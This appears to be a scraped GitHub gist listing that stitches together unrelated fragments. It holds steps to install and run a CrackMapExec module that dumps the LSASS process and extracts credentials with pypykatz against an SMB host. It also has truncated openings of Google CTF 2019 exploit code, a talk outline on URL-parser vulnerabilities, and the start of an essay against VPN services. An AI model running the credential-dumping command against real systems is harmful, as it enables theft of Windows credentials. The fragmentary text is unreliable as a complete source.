- install pypykatz
pip install pypykatzoutisde your pipenv - Add this file to
cme/module/procdump.py - compile
python setup.py install - run
cme smb 172.16.60.152 -u Administrator -p P@ssword -M procdump
simecek
/ iteration_on_combinations.ipynb
Last active
January 15, 2020 21:49
Iteration_on_combinations.ipynb
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
mpgn
/ areadme.md
Last active
December 6, 2019 17:50
Procdump CME module that dump LSASS process and extract the result with pypykatz
hama7230
/ exploit.htm
Last active
August 17, 2020 19:47
Google Capture The Flag 2019 (Finals) Gomium Browser
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <script type="text/goscript"> | |
| package main | |
| import "fmt" | |
| func bring_your_own_gadgts(x uint64, y uint64, z uint64, w uint64, v uint64) uint64 { | |
| var a uint64 = 0xc3050f585a5e5f58; | |
| var b uint64 = 0xdeadbeefdeadbeef+1 | |
| var c uint64 = 0xdeadbeefdeadbeef+2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python2 | |
| # Challenge: https://gctf-2019.appspot.com/#challenges/sandbox-sandbox-ridl | |
| from pwn import * | |
| import os | |
| def split_by(data, cnt): | |
| return [data[i : i+cnt] for i in xrange(0, len(data), cnt)] |
This is src doc of my presentation on shibuya.xss #8 (2016-11-14)
The main topic is vulnerabilities related to url parser.
- PHP https://bugs.php.net/bug.php?id=73192
- Java/OpenJDK http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/cd0585378c46 (CVE-2016-5552)
- Android https://android.googlesource.com/platform/libcore/+/4b3f2c6c5b84f80fae8eeeb46727811e055715ea%5E%21/ (CVE-2016-5552)
No, seriously, don't. You're probably reading this because you've asked what VPN service to use, and this is the answer.
Note: The content in this post does not apply to using VPN for their intended purpose; that is, as a virtual private (internal) network. It only applies to using it as a glorified proxy, which is what every third-party "VPN provider" does.
- A Russian translation of this article can be found here, contributed by Timur Demin.
- A Turkish translation can be found here, contributed by agyild.
- There's also this article about VPN services, which is honestly better written (and has more cat pictures!) than my article.